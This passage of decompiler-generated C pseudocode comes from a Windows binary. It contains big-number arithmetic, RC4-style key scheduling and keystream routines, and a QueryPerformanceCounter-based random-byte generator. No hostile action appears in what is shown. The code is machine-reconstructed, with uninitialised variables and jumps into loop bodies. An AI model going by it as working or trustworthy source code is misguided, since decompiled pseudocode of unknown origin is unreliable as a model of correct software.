  934. v12 -= 4;
  935. v13 -= 4;
  936. *(int32_t *)v12 = *(int32_t *)v13;
  937. v14--;
  938. // continue -> 0x401397
  939. }
  940. // 0x4013ae
  941. v11 = g3;
  942. // branch -> 0x4013ae
  943. }
  944. // 0x4013ae
  945. _memset((char *)v11, 0, v9);
  946. v10 = v6;
  947. // branch -> bb
  948. }
  949. int32_t v15 = *(int32_t *)g7 - 1; // 0x4013b9
  950. int32_t v16 = (v15 & 31) - (v10 & 31); // 0x4013c1
  951. int32_t v17; // edx
  952. int32_t v18;
  953. int32_t v19;
  954. int32_t v20;
  955. int32_t v21; // 0x40140f
  956. int32_t v22; // 0x40142a
  957. int32_t v23; // 0x40143e
  958. int32_t v24; // 0x401465
  959. int32_t v25; // 0x401504
  960. int32_t v26; // 0x401415
  961. int32_t * v27; // 0x401435
  962. int32_t v28; // 0x401443
  963. int32_t v29; // 0x401494
  964. int32_t * v30; // 0x4014e7
  965. int32_t v31; // 0x4014ec
  966. int32_t result; // 0x401507
  967. int32_t v32; // 0x401435
  968. int32_t v33; // 0x401437
  969. int32_t v34; // 0x40143c
  970. int32_t v35; // 0x401465
  971. int32_t v36; // 0x40142f
  972. int32_t v37; // 0x401499
  973. int32_t * v38; // 0x40145c
  974. char * v39; // 0x401489
  975. int32_t v40; // 0x401489
  976. int32_t v41;
  977. if (v16 >= 1) {
  978. int32_t v42 = v15 / 32; // 0x4013c7
  979. int32_t * v43; // 0x401409
  980. uint32_t v44;
  981. if (v15 < 32) {
  982. // 0x4013c7
  983. v44 = v15 - v10 & 31;
  984. // branch -> 0x401407
  985. } else {
  986. uint32_t v45 = -v16 & 31; // 0x4013ef
  987. int32_t v46 = v15 - v10 & 31; // 0x4013f3
  988. int32_t v47 = g3 + 4 * v42;
  989. // branch -> 0x4013e1
  990. while (true) {
  991. int32_t v48 = v47 - 4; // 0x4013e1
  992. int32_t v49 = *(int32_t *)v48; // 0x4013e1
  993. int32_t * v50 = (int32_t *)v47; // 0x4013e7
  994. int32_t v51 = *v50; // 0x4013e7
  995. int32_t v52 = v49; // 0x4013f8
  996. if (v45 != 0) {
  997. // bb77
  998. v52 = v49 >> v45;
  999. // branch -> bb78
  1000. }
  1001. int32_t v53 = v51; // 0x4013f8
  1002. if (v46 != 0) {
  1003. // bb79
  1004. v53 = v51 << v46;
  1005. // branch -> bb80
  1006. }
  1007. int32_t v54 = v42 - 1; // 0x4013fd
  1008. *v50 = v53 | v52;
  1009. if (v54 == 0) {
  1010. // 0x401407
  1011. v44 = v46;
  1012. // branch -> 0x401407
  1013. // 0x401407
  1014. v43 = (int32_t *)g3;
  1015. if (v44 != 0) {
  1016. // bb81
  1017. *v43 = *v43 << v44;
  1018. // branch -> bb82
  1019. }
  1020. // bb82
  1021. // branch -> 0x40140d
  1022. // 0x40140d
  1023. if (v16 < 0) {
  1024. // 0x40140f
  1025. v21 = g7;
  1026. v26 = -v16;
  1027. if ((*(int32_t *)v21 - 1 & -32) < 1) {
  1028. // 0x40140f
  1029. v41 = v26 & 31;
  1030. // branch -> 0x401453
  1031. } else {
  1032. // 0x401423
  1033. v22 = g3;
  1034. v17 = v22;
  1035. v33 = v15 - v10 & 31;
  1036. v34 = v26 & 31;
  1037. v28 = v22;
  1038. v19 = 0;
  1039. // branch -> 0x40142f
  1040. int32_t v55; // 0x401445
  1041. while (true) {
  1042. // 0x40142f
  1043. v36 = *(int32_t *)(v28 + 4);
  1044. v27 = (int32_t *)v28;
  1045. v32 = *v27;
  1046. v23 = v36;
  1047. if (v33 != 0) {
  1048. lab_bb84:
  1049. // bb84
  1050. v23 = v36 << v33;
  1051. // branch -> bb85
  1052. }
  1053. lab_bb85:;
  1054. int32_t v56 = v32; // 0x40143e
  1055. if (v34 != 0) {
  1056. // bb86
  1057. v56 = v32 >> v34;
  1058. // branch -> bb87
  1059. }
  1060. int32_t v57 = v19 + 1; // 0x401440
  1061. *v27 = v56 | v23;
  1062. v55 = g7;
  1063. int32_t v58 = v17 + 4; // 0x401447
  1064. v17 = v58;
  1065. if (v57 >= (*(int32_t *)v55 - 1) / 32) {
  1066. // break -> 0x401453
  1067. break;
  1068. }
  1069. v28 = v58;
  1070. v19 = v57;
  1071. // continue -> 0x40142f
  1072. }
  1073. // 0x401453
  1074. v41 = v34;
  1075. v21 = v55;
  1076. // branch -> 0x401453
  1077. }
  1078. // 0x401453
  1079. v38 = (int32_t *)(g3 + 4 * (*(int32_t *)v21 - 1) / 32);
  1080. if (v41 != 0) {
  1081. // bb88
  1082. *v38 = *v38 >> v41;
  1083. // branch -> bb89
  1084. }
  1085. // bb89
  1086. // branch -> 0x401462
  1087. }
  1088. // 0x401462
  1089. v24 = g7;
  1090. v35 = *(int32_t *)v24;
  1091. g5 = v35;
  1092. int32_t v59; // 0x4014e0
  1093. char * v60;
  1094. if (v5 < 1) {
  1095. // 0x401462
  1096. v60 = (char *)a1;
  1097. v59 = v24;
  1098. // branch -> 0x4014db
  1099. } else {
  1100. // 0x40146e
  1101. v39 = (char *)a1;
  1102. v18 = v35 - 1;
  1103. v20 = v5;
  1104. // branch -> 0x401474
  1105. int32_t v61; // 0x4014cb
  1106. while (true) {
  1107. // 0x401474
  1108. g7 = 4 * v20 / 32 - 812 + g2;
  1109. v40 = function_401159(v39, v1, g3, v35);
  1110. v29 = v20 & 31;
  1111. v37 = v40;
  1112. if (v29 != 0) {
  1113. lab_bb91:
  1114. // bb91
  1115. v37 = v40 << v29;
  1116. // branch -> bb92
  1117. }
  1118. lab_bb92:;
  1119. int32_t * v62 = (int32_t *)g7; // 0x401499
  1120. *v62 = *v62 | v37;
  1121. int32_t v63 = v18 / 32; // 0x40149e
  1122. if (v18 >= 32) {
  1123. int32_t v64 = g3; // 0x4014be
  1124. int32_t * v65 = (int32_t *)v64; // 0x4014aa
  1125. int32_t v66 = v64 + 4; // 0x4014ac
  1126. int32_t v67 = v63 - 1; // 0x4014bb
  1127. *v65 = *(int32_t *)v66 << 31 | *v65 / 2;
  1128. // branch -> 0x4014aa
  1129. while (v67 != 0) {
  1130. // 0x4014aa
  1131. v64 = v66;
  1132. v65 = (int32_t *)v64;
  1133. v66 = v64 + 4;
  1134. v67--;
  1135. *v65 = *(int32_t *)v66 << 31 | *v65 / 2;
  1136. // continue -> 0x4014aa
  1137. }
  1138. // 0x4014c5
  1139. // branch -> 0x4014c5
  1140. }
  1141. int32_t * v68 = (int32_t *)(g3 + 4 * v63); // 0x4014c5
  1142. *v68 = *v68 / 2;
  1143. v61 = g5 - 1;
  1144. g5 = v61;
  1145. int32_t v69 = v20 - 1; // 0x4014cf
  1146. if (v69 < 1) {
  1147. // break -> 0x4014d8
  1148. break;
  1149. }
  1150. v35 = v61;
  1151. v18--;
  1152. v20 = v69;
  1153. // continue -> 0x401474
  1154. }
  1155. // 0x4014d8
  1156. g7 = v1;
  1157. v60 = v39;
  1158. v59 = v1;
  1159. v35 = v61;
  1160. // branch -> 0x4014db
  1161. }
  1162. // 0x4014db
  1163. g5 = a1;
  1164. function_401159(v60, v59, g3, v35);
  1165. v30 = (int32_t *)g7;
  1166. v31 = *v30 - 1;
  1167. if (v31 < 0) {
  1168. // 0x401507
  1169. result = v31 + 1;
  1170. *v30 = result;
  1171. // branch -> 0x40150a
  1172. // 0x40150a
  1173. g7 = v2;
  1174. return result;
  1175. }
  1176. // 0x4014f0
  1177. v25 = v31;
  1178. // branch -> 0x4014f0
  1179. int32_t v70; // 0x401504
  1180. while (true) {
  1181. int32_t v71 = v25; // 0x40150745
  1182. if ((*(int32_t *)(4 * v25 / 32 + g5) >> (v25 & 31) & 1) == 0) {
  1183. lab_0x401504:
  1184. // 0x401504
  1185. v70 = v25 - 1;
  1186. if (v70 < 0) {
  1187. // break -> 0x401507
  1188. break;
  1189. }
  1190. v25 = v70;
  1191. // continue -> 0x4014f0
  1192. continue;
  1193. }
  1194. // 0x401507
  1195. // branch -> 0x401507
  1196. // 0x401507
  1197. result = v71 + 1;
  1198. *v30 = result;
  1199. // branch -> 0x40150a
  1200. // 0x40150a
  1201. g7 = v2;
  1202. return result;
  1203. }
  1204. // 0x401507
  1205. // branch -> 0x401507
  1206. // 0x401507
  1207. result = v70 + 1;
  1208. *v30 = result;
  1209. // branch -> 0x40150a
  1210. // 0x40150a
  1211. g7 = v2;
  1212. return result;
  1213. }
  1214. // .dec_label_pc_4013e1_crit_edge
  1215. v47 = v48;
  1216. v42 = v54;
  1217. // branch -> 0x4013e1
  1218. }
  1219. }
  1220. // 0x401407
  1221. v43 = (int32_t *)g3;
  1222. if (v44 != 0) {
  1223. // bb81
  1224. *v43 = *v43 << v44;
  1225. // branch -> bb82
  1226. }
  1227. // bb82
  1228. // branch -> 0x40140d
  1229. }
  1230. // 0x40140d
  1231. if (v16 < 0) {
  1232. // 0x40140f
  1233. v21 = g7;
  1234. v26 = -v16;
  1235. if ((*(int32_t *)v21 - 1 & -32) < 1) {
  1236. // 0x40140f
  1237. v41 = v26 & 31;
  1238. // branch -> 0x401453
  1239. } else {
  1240. // 0x401423
  1241. v22 = g3;
  1242. v17 = v22;
  1243. v33 = v15 - v10 & 31;
  1244. v34 = v26 & 31;
  1245. v28 = v22;
  1246. v19 = 0;
  1247. // branch -> 0x40142f
  1248. while (true) {
  1249. // 0x40142f
  1250. v36 = *(int32_t *)(v28 + 4);
  1251. v27 = (int32_t *)v28;
  1252. v32 = *v27;
  1253. if (v33 == 0) {
  1254. v23 = v36;
  1255. goto lab_bb85;
  1256. }
  1257. goto lab_bb84;
  1258. }
  1259. }
  1260. // 0x401453
  1261. v38 = (int32_t *)(g3 + 4 * (*(int32_t *)v21 - 1) / 32);
  1262. if (v41 != 0) {
  1263. // bb88
  1264. *v38 = *v38 >> v41;
  1265. // branch -> bb89
  1266. }
  1267. // bb89
  1268. // branch -> 0x401462
  1269. }
  1270. // 0x401462
  1271. v24 = g7;
  1272. v35 = *(int32_t *)v24;
  1273. g5 = v35;
  1274. if (v5 < 1) {
  1275. // 0x401462
  1276. // branch -> 0x4014db
  1277. } else {
  1278. // 0x40146e
  1279. v39 = (char *)a1;
  1280. v18 = v35 - 1;
  1281. v20 = v5;
  1282. // branch -> 0x401474
  1283. while (true) {
  1284. // 0x401474
  1285. g7 = 4 * v20 / 32 - 812 + g2;
  1286. v40 = function_401159(v39, v1, g3, v35);
  1287. v29 = v20 & 31;
  1288. if (v29 == 0) {
  1289. v37 = v40;
  1290. goto lab_bb92;
  1291. }
  1292. goto lab_bb91;
  1293. }
  1294. }
  1295. // 0x4014db
  1296. g5 = a1;
  1297. function_401159((char *)a1, v24, g3, v35);
  1298. v30 = (int32_t *)g7;
  1299. v31 = *v30 - 1;
  1300. if (v31 >= 0) {
  1301. // 0x4014f0
  1302. v25 = v31;
  1303. // branch -> 0x4014f0
  1304. while (true) {
  1305. // 0x4014f0
  1306. if ((*(int32_t *)(4 * v25 / 32 + g5) >> (v25 & 31) & 1) == 0) {
  1307. goto lab_0x401504;
  1308. }
  1309. // 0x401507
  1310. // branch -> 0x401507
  1311. // 0x401507
  1312. result = v25 + 1;
  1313. *v30 = result;
  1314. // branch -> 0x40150a
  1315. // 0x40150a
  1316. g7 = v2;
  1317. return result;
  1318. }
  1319. }
  1320. // 0x401507
  1321. result = v31 + 1;
  1322. *v30 = result;
  1323. // branch -> 0x40150a
  1324. // 0x40150a
  1325. g7 = v2;
  1326. return result;
  1327. }
  1328.  
  1329. // Address range: 0x40150e - 0x40152d
  1330. int32_t function_40150e(int32_t * a1) {
  1331. int32_t v1 = *a1; // 0x401515
  1332. int32_t v2 = 30; // 0x4015223
  1333. int32_t v3 = v1 * v1; // 0x40151c
  1334. // branch -> 0x40151a
  1335. while (v2 != 1) {
  1336. // 0x40151a
  1337. v2--;
  1338. v1 = v3;
  1339. v3 = v1 * v1;
  1340. // continue -> 0x40151a
  1341. }
  1342. int32_t result = -((v3 * v1)); // 0x401525
  1343. g32 = result;
  1344. return result;
  1345. }
  1346.  
  1347. // Address range: 0x40152e - 0x401651
  1348. int32_t function_40152e(int32_t * a1, int32_t a2, int32_t a3, int32_t a4) {
  1349. int32_t v1 = (int32_t)a1;
  1350. int32_t v2 = g2; // bp-4
  1351. g2 = &v2;
  1352. int32_t v3 = g3; // 0x401537
  1353. int32_t v4 = g7; // 0x401538
  1354. function_40120a(a1, a2, a3, a4, v4, v3);
  1355. g7 = g18;
  1356. int32_t v5 = g18 - 1; // 0x401557
  1357. int32_t v6 = v5 / 32; // 0x40155a
  1358. g3 = v6;
  1359. int32_t result; // 0x401646
  1360. if (v5 < -31) {
  1361. // 0x40163a
  1362. result = function_401159((char *)a1, a2, (int32_t)&g17, g18);
  1363. g7 = v4;
  1364. g3 = v3;
  1365. g2 = v2;
  1366. return result;
  1367. }
  1368. int32_t v7 = 0;
  1369. // branch -> 0x401564
  1370. int64_t v8; // bp-844
  1371. while (true) {
  1372. // 0x401564
  1373. g5 = g32 * (int64_t)*a1;
  1374. int32_t v9 = g18; // 0x4015bc
  1375. int32_t v10 = 0;
  1376. int32_t v11 = 0;
  1377. if (v6 >= 0) {
  1378. int32_t v12 = 0;
  1379. int32_t v13 = 0;
  1380. int32_t v14 = 4 * v13; // 0x401587
  1381. int64_t v15 = (int64_t)*(int32_t *)(v14 + (int32_t)&g17); // 0x401587
  1382. v8 = v15;
  1383. int32_t v16 = (int32_t)__allmul(0, v15) + v12; // 0x401596
  1384. int32_t v17 = g6; // 0x40159b
  1385. g6 = v13;
  1386. int32_t v18 = v13 + 1; // 0x4015a4
  1387. *(int32_t *)(v14 - 812 + g2) = v16;
  1388. int32_t v19 = (int32_t)(v16 < v12) + v17; // 0x4015b1
  1389. while (v18 <= g3) {
  1390. // 0x40157f
  1391. v12 = v19;
  1392. v13 = v18;
  1393. v14 = 4 * v13;
  1394. v15 = (int64_t)*(int32_t *)(v14 + (int32_t)&g17);
  1395. v8 = v15;
  1396. v16 = (int32_t)__allmul(0, v15) + v12;
  1397. v17 = g6;
  1398. g6 = v13;
  1399. v18 = v13 + 1;
  1400. *(int32_t *)(v14 - 812 + g2) = v16;
  1401. v19 = (int32_t)(v16 < v12) + v17;
  1402. // continue -> 0x40157f
  1403. }
  1404. // 0x4015b6
  1405. v9 = g7;
  1406. v10 = v19;
  1407. v11 = v18;
  1408. // branch -> 0x4015b6
  1409. }
  1410. int32_t v20 = v9 + 31; // 0x4015bc
  1411. *(int32_t *)(4 * v11 - 812 + g2) = v10;
  1412. int32_t v21 = v20;
  1413. if (v20 >= 0) {
  1414. // branch -> 0x4015ca
  1415. int32_t v22; // 0x4015e1
  1416. while (true) {
  1417. // 0x4015ca
  1418. if ((*(int32_t *)(g2 - 812 + 4 * v21 / 32) >> (v21 & 31) & 1) == 0) {
  1419. // 0x4015e1
  1420. v22 = v21 - 1;
  1421. if (v22 < 0) {
  1422. // break -> 0x4015e4
  1423. break;
  1424. }
  1425. v21 = v22;
  1426. // continue -> 0x4015ca
  1427. continue;
  1428. }
  1429. // 0x4015e4
  1430. // branch -> 0x4015e4
  1431. }
  1432. // 0x4015e4
  1433. v21 = v22;
  1434. // branch -> 0x4015e4
  1435. }
  1436. // 0x4015e4
  1437. g7 = a2;
  1438. int32_t v23; // bp-816
  1439. function_401092(a1, a2, (int32_t)&v23, v21 + 1);
  1440. int32_t v24 = g7; // 0x4015f9
  1441. int32_t v25 = v24; // 0x40161e
  1442. if ((*(int32_t *)v24 - 1 & -32) >= 1) {
  1443. int32_t v26 = 0; // 0x40160e
  1444. *(int32_t *)v1 = *(int32_t *)(v1 + 4);
  1445. int32_t v27 = g7; // 0x401611
  1446. int32_t v28 = v1 + 4; // 0x401613
  1447. v1 = v28;
  1448. int32_t v29 = (*(int32_t *)v27 - 1) / 32; // 0x401617
  1449. g6 = v29;
  1450. // branch -> 0x40160b
  1451. while (v26 + 1 < v29) {
  1452. // 0x40160b
  1453. v26++;
  1454. v1 = v28;
  1455. *(int32_t *)v1 = *(int32_t *)(v1 + 4);
  1456. v27 = g7;
  1457. v28 = v1 + 4;
  1458. v1 = v28;
  1459. v29 = (*(int32_t *)v27 - 1) / 32;
  1460. g6 = v29;
  1461. // continue -> 0x40160b
  1462. }
  1463. // 0x40161e
  1464. v25 = v27;
  1465. // branch -> 0x40161e
  1466. }
  1467. int32_t * v30 = (int32_t *)v25; // 0x40161e
  1468. *v30 = *v30 - 32;
  1469. g7 = g18;
  1470. int32_t v31 = v7 + 1; // 0x401627
  1471. int32_t v32 = (g18 - 1) / 32; // 0x40162d
  1472. g3 = v32;
  1473. if (v31 > v32) {
  1474. // break -> 0x401639
  1475. break;
  1476. }
  1477. v6 = v32;
  1478. v7 = v31;
  1479. // continue -> 0x401564
  1480. }
  1481. // 0x401639
  1482. g5 = v8;
  1483. // branch -> 0x40163a
  1484. // 0x40163a
  1485. result = function_401159((char *)a1, a2, (int32_t)&g17, g18);
  1486. g7 = v4;
  1487. g3 = v3;
  1488. g2 = v2;
  1489. return result;
  1490. }
  1491.  
  1492. // Address range: 0x401652 - 0x401731
  1493. int32_t function_401652(void) {
  1494. // 0x401652
  1495. int32_t v1; // bp-1608
  1496. int32_t v2 = &v1; // 0x401655
  1497. v1 = 0;
  1498. int32_t v3 = g3; // 0x401668
  1499. int32_t v4 = g7; // 0x401669
  1500. int32_t v5 = 0; // bp-1604
  1501. g5 = &v5;
  1502. _memset((char *)&v5, 0, 399);
  1503. int32_t v6;
  1504. int32_t v7 = *(int32_t *)v6; // 0x401683
  1505. g3 = v7;
  1506. int32_t v8 = (g18 - 1) / 32 + 1; // 0x401685
  1507. int32_t v9 = v7 - 1; // 0x401686
  1508. int32_t v10;
  1509. if (v9 >= 0xffffffe1) {
  1510. int32_t v11 = 4 * v8 - 1604 + g2; // 0x401691
  1511. g5 = v11;
  1512. _memcpy((char *)v11, (char *)v10, v9 / 32 + 1);
  1513. v7 = g3;
  1514. // branch -> bb
  1515. }
  1516. // bb
  1517. g7 = &g17;
  1518. int32_t v12 = 32 * v8 + v7; // bp-8
  1519. function_401337(v2, &v12, (int32_t)&g17, g18);
  1520. int32_t result = function_40150e((int32_t *)g7); // eax
  1521. g5 = v10;
  1522. g7 = v6;
  1523. g3 = 1;
  1524. *(int32_t *)v10 = 1;
  1525. *(int32_t *)g7 = g3;
  1526. int32_t result2;
  1527. if (result2 < 1) {
  1528. // .dec_label_pc_40172d_crit_edge
  1529. // branch -> 0x40172d
  1530. // 0x40172d
  1531. g7 = v4;
  1532. g3 = v3;
  1533. return result;
  1534. }
  1535. int32_t v13 = 0;
  1536. while (true) {
  1537. uint32_t v14 = v13 & 31; // 0x4016e2
  1538. int32_t v15;
  1539. int32_t v16 = *(int32_t *)(4 * v13 / 32 + v15); // 0x4016e8
  1540. int32_t v17 = v16; // 0x4016ed
  1541. if (v14 != 0) {
  1542. // bb25
  1543. v17 = v16 >> v14;
  1544. // branch -> bb26
  1545. }
  1546. // bb26
  1547. if ((char)(g3 & v17) != 0) {
  1548. // 0x4016f1
  1549. function_40152e((int32_t *)g5, g7, v2, v12);
  1550. // branch -> 0x401705
  1551. }
  1552. // 0x401705
  1553. function_40152e(&v1, (int32_t)&v12, v2, v12);
  1554. int32_t v18 = v13 + 1; // 0x401722
  1555. if (v18 == result2) {
  1556. // break -> 0x40172d
  1557. break;
  1558. }
  1559. v13 = v18;
  1560. // continue -> 0x4016da
  1561. }
  1562. // 0x40172d
  1563. g7 = v4;
  1564. g3 = v3;
  1565. return result2;
  1566. }
  1567.  
  1568. // Address range: 0x401732 - 0x4017d4
  1569. int32_t function_401732(void) {
  1570. // 0x401732
  1571. g1 = 0x10228;
  1572. function_404b20();
  1573. int32_t v1 = g3; // 0x40173f
  1574. int32_t lpPerformanceCount = g7; // bp-12
  1575. int32_t v2 = 0; // esi
  1576. int32_t v3 = 0; // 0x401744
  1577. // branch -> 0x401744
  1578. int32_t v4; // edx
  1579. while (true) {
  1580. // 0x401744
  1581. *(char *)(v3 - 0x10228 + g2) = 0;
  1582. int32_t v5 = v2; // 0x40174c
  1583. char * v6 = (char *)(g2 - 0x10228 + v5); // 0x40174c
  1584. int32_t v7 = v5 & 1;
  1585. int32_t v8 = g3 & -256 | (int32_t)*v6; // 0x4017656
  1586. int32_t v9 = 0; // 0x4017674
  1587. // branch -> 0x40175c
  1588. int32_t v10; // 0x401765
  1589. int32_t v11; // 0x401760
  1590. while (true) {
  1591. // 0x40175c
  1592. if (v9 == 0) {
  1593. // .thread
  1594. v8 ^= v7;
  1595. v9 = 1;
  1596. // branch -> 0x40175c
  1597. continue;
  1598. } else {
  1599. // bb
  1600. v11 = v5 >> v9;
  1601. v10 = v11 & 1 ^ v8;
  1602. int32_t v12 = v9 + 1; // 0x401767
  1603. if (v12 == 16) {
  1604. // break -> 0x40176d
  1605. break;
  1606. }
  1607. v8 = v10;
  1608. v9 = v12;
  1609. // continue -> 0x40175c
  1610. continue;
  1611. }
  1612. }
  1613. // 0x40176d
  1614. v4 = v11 & -255;
  1615. g3 = v10;
  1616. v2 = v5 + 1;
  1617. *v6 = (char)v10;
  1618. int32_t v13 = v2; // 0x401770
  1619. if (v13 >= 0x10000) {
  1620. // break -> 0x401778
  1621. break;
  1622. }
  1623. v3 = v13;
  1624. // continue -> 0x401744
  1625. }
  1626. int32_t v14 = 544; // ebx
  1627. QueryPerformanceCounter((struct _LARGE_INTEGER *)&lpPerformanceCount);
  1628. int32_t v15 = 0; // 0x401791
  1629. int32_t v16 = v15 + 1; // 0x401791
  1630. unsigned char v17 = *(char *)((lpPerformanceCount & 0xffff) - 0x10228 + g2); // 0x401794
  1631. *(char *)(v15 - 552 + g2) = v17;
  1632. // branch -> 0x40177f
  1633. while (v16 < v14) {
  1634. // 0x40177f
  1635. QueryPerformanceCounter((struct _LARGE_INTEGER *)&lpPerformanceCount);
  1636. v15 = v16;
  1637. v16 = v15 + 1;
  1638. v17 = *(char *)((lpPerformanceCount & 0xffff) - 0x10228 + g2);
  1639. *(char *)(v15 - 552 + g2) = v17;
  1640. // continue -> 0x40177f
  1641. }
  1642. // 0x4017a4
  1643. char * v18;
  1644. int32_t v19 = (int32_t)v18; // 0x4017a4
  1645. int32_t v20 = 0; // ecx
  1646. // branch -> 0x4017a9
  1647. lab_0x4017a9:;
  1648. int32_t result; // 0x4017cb
  1649. while (true) {
  1650. // 0x4017a9
  1651. *(char *)v19 = 0;
  1652. int32_t v21 = v20; // 0x4017ac
  1653. int32_t v22 = v21 + 8; // 0x4017ac
  1654. v2 = v22;
  1655. if (v21 < 0x7ffffff8) {
  1656. while (true) {
  1657. char * v23 = (char *)v19; // 0x4017b5
  1658. int32_t v24 = (int32_t)(2 * *v23) | v21 & -256; // 0x4017be
  1659. v20 = v24;
  1660. int32_t v25 = (int32_t)*(char *)(v21 - 552 + g2) | v24; // 0x4017b7
  1661. v4 = v25 & 255 | v4 & -256;
  1662. *v23 = (char)v25;
  1663. if (v21 + 1 < v22) {
  1664. // 0x4017b5
  1665. v22 = v2;
  1666. v21 = v20;
  1667. // branch -> 0x4017b5
  1668. continue;
  1669. } else {
  1670. // 0x4017c9
  1671. v22 = v2;
  1672. // branch -> 0x4017c9
  1673. // 0x4017c9
  1674. v20 = v22;
  1675. result = v19 + 1;
  1676. if (v22 >= v14) {
  1677. // break (via goto) -> 0x4017d0
  1678. goto lab_0x4017d0;
  1679. }
  1680. v19 = result;
  1681. // continue (via goto) -> 0x4017a9
  1682. goto lab_0x4017a9;
  1683. }
  1684. }
  1685. // 0x4017d0
  1686. int32_t v26; // bp-16
  1687. int32_t v27 = v26; // 0x4017d0
  1688. int32_t v28 = v27; // edi
  1689. int32_t v29 = lpPerformanceCount; // 0x4017d1
  1690. g7 = v29;
  1691. g3 = v1;
  1692. return result;
  1693. }
  1694. // 0x4017c9
  1695. v20 = v22;
  1696. result = v19 + 1;
  1697. if (v22 >= v14) {
  1698. // break -> 0x4017d0
  1699. break;
  1700. }
  1701. v19 = result;
  1702. // continue -> 0x4017a9
  1703. }
  1704. lab_0x4017d0:
  1705. // 0x4017d0
  1706. g7 = lpPerformanceCount;
  1707. g3 = v1;
  1708. return result;
  1709. }
  1710.  
  1711. // Address range: 0x4017d5 - 0x4017e7
  1712. int32_t function_4017d5(char * a1, int32_t a2) {
  1713. // 0x4017d5
  1714. *a1 = *(char *)a2;
  1715. *(char *)a2 = *a1;
  1716. return (int32_t)a1;
  1717. }
  1718.  
  1719. // Address range: 0x4017e8 - 0x4017f9
  1720. int32_t function_4017e8(int32_t a1) {
  1721. int32_t v1 = 0; // 0x4017ee
  1722. *(char *)(v1 + a1) = (char)v1;
  1723. int32_t result = 1; // 0x4017f1
  1724. // branch -> 0x4017ea
  1725. while (result < 256) {
  1726. // 0x4017ea
  1727. v1 = result;
  1728. *(char *)(v1 + a1) = (char)v1;
  1729. result++;
  1730. // continue -> 0x4017ea
  1731. }
  1732. // 0x4017f9
  1733. return result;
  1734. }
  1735.  
  1736. // Address range: 0x4017fa - 0x40181d
  1737. int32_t function_4017fa(int32_t a1, int32_t a2) {
  1738. int32_t v1 = 0; // 0x401810
  1739. int64_t v2 = v1; // 0x401803
  1740. char result = *(char *)((int32_t)((0x100000000 * v2 | v2) % 64) + a2); // 0x401809
  1741. *(char *)(v1 + a1) = result;
  1742. int32_t v3 = 1; // 0x401813
  1743. // branch -> 0x4017fd
  1744. while (v3 < 256) {
  1745. // 0x4017fd
  1746. v1 = v3;
  1747. v2 = v1;
  1748. result = *(char *)((int32_t)((0x100000000 * v2 | v2) % 64) + a2);
  1749. *(char *)(v1 + a1) = result;
  1750. v3++;
  1751. // continue -> 0x4017fd
  1752. }
  1753. // 0x40181c
  1754. return result;
  1755. }
  1756.  
  1757. // Address range: 0x40181e - 0x401862
  1758. int32_t function_40181e(char * a1, int32_t a2) {
  1759. int32_t v1 = g7; // 0x401822
  1760. int32_t v2 = (int32_t)a1; // 0x401823
  1761. g7 = v2;
  1762. int32_t v3 = v2; // 0x401850
  1763. unsigned char v4 = *(char *)(a2 - v2 + v3); // 0x401835
  1764. char * v5 = (char *)v3; // 0x401839
  1765. g4 = 256;
  1766. int64_t v6 = (int32_t)v4 + (int32_t)*v5; // 0x401846
  1767. int32_t v7 = (0x100000000 * v6 | v6) % 256; // 0x401846
  1768. g6 = v7;
  1769. int32_t result = function_4017d5(v5, v7 + v2); // 0x401851
  1770. int32_t v8 = g7 + 1; // 0x401857
  1771. g7 = v8;
  1772. int32_t v9 = 255; // 0x401858
  1773. // 0x40185e
  1774. g7 = v1;
  1775. // branch -> 0x401835
  1776. while (v9 != 0) {
  1777. // 0x401835
  1778. // 0x401835
  1779. v3 = v8;
  1780. v4 = *(char *)(a2 - v2 + v3);
  1781. v5 = (char *)v3;
  1782. g4 = 256;
  1783. v6 = (int32_t)v4 + v7 + (int32_t)*v5;
  1784. v7 = (0x100000000 * v6 | v6) % 256;
  1785. g6 = v7;
  1786. result = function_4017d5(v5, v7 + v2);
  1787. v8 = g7 + 1;
  1788. g7 = v8;
  1789. v9--;
  1790. // 0x40185e
  1791. g7 = v1;
  1792. // branch -> 0x401835
  1793. }
  1794. return result;
  1795. }
  1796.  
  1797. // Address range: 0x401863 - 0x4018af
  1798. int32_t function_401863(int32_t a1, int32_t a2) {
  1799. // 0x401863
  1800. char v1; // bp-260
  1801. int32_t v2 = &v1; // 0x401866
  1802. v1 = 0;
  1803. int16_t v3; // bp-259
  1804. int32_t v4 = &v3; // 0x401879
  1805. _memset((char *)&v3, 0, 63);
  1806. v3 = 0;
  1807. int32_t v5 = v4 + 2; // 0x401884
  1808. *(char *)v5 = 0;
  1809. g5 = v5 + 1;
  1810. function_4017e8(a1);
  1811. function_4017fa(v2, a2);
  1812. return function_40181e((char *)a1, v2);
  1813. }
  1814.  
  1815. // Address range: 0x4018b0 - 0x401966
  1816. int32_t function_4018b0(void) {
  1817. // 0x4018b0
  1818. int32_t v1; // bp-272
  1819. int32_t v2 = &v1; // 0x4018b3
  1820. int32_t v3 = g3; // 0x4018b9
  1821. int32_t v4 = g5; // 0x4018ba
  1822. g3 = 0;
  1823. int16_t v5; // bp-271
  1824. int32_t v6 = &v5; // 0x4018c2
  1825. v1 = 0;
  1826. _memset((char *)&v5, 0, 63);
  1827. v5 = 0;
  1828. int32_t v7 = v6 + 2; // 0x4018d3
  1829. *(char *)v7 = 0;
  1830. g5 = v7 + 1;
  1831. int64_t v8 = 63; // 0x4018dd
  1832. function_401863(v2, (int32_t)v8);
  1833. int32_t v9 = g3; // 0x4018e5
  1834. g4 = v8;
  1835. int32_t v10;
  1836. if (v10 > v9) {
  1837. int32_t v11 = g7; // 0x4018f1
  1838. g7 = 256;
  1839. int32_t v12 = 256; // 0x4018fd
  1840. int32_t v13 = 0; // 0x4018fc
  1841. // branch -> 0x4018fc
  1842. while (true) {
  1843. int32_t v14 = v13 + 1; // 0x4018fc
  1844. g4 = v12;
  1845. int64_t v15 = 0x100000000 * (int64_t)(v14 >> 31) | (int64_t)v14; // 0x401900
  1846. int64_t v16 = v12; // 0x401900
  1847. int32_t v17 = v15 % v16; // 0x401900
  1848. int32_t v18 = v17 - 268 + g2; // 0x401902
  1849. char * v19 = (char *)v18; // 0x401902
  1850. int32_t v20 = (int32_t)*v19 + v9; // 0x40190a
  1851. int32_t v21 = (0x100000000 * (int64_t)(v20 >> 31) | (int64_t)v20) % v16; // 0x401918
  1852. g6 = v21;
  1853. int32_t v22 = g2 - 268 + v21; // 0x40191d
  1854. function_4017d5(v19, v22);
  1855. int32_t v23;
  1856. int32_t v24 = g3 + v23; // 0x401933
  1857. g4 = v24;
  1858. uint32_t v25 = g7; // 0x401939
  1859. int32_t v26 = (int32_t)*(char *)v22 % v25; // 0x40193f
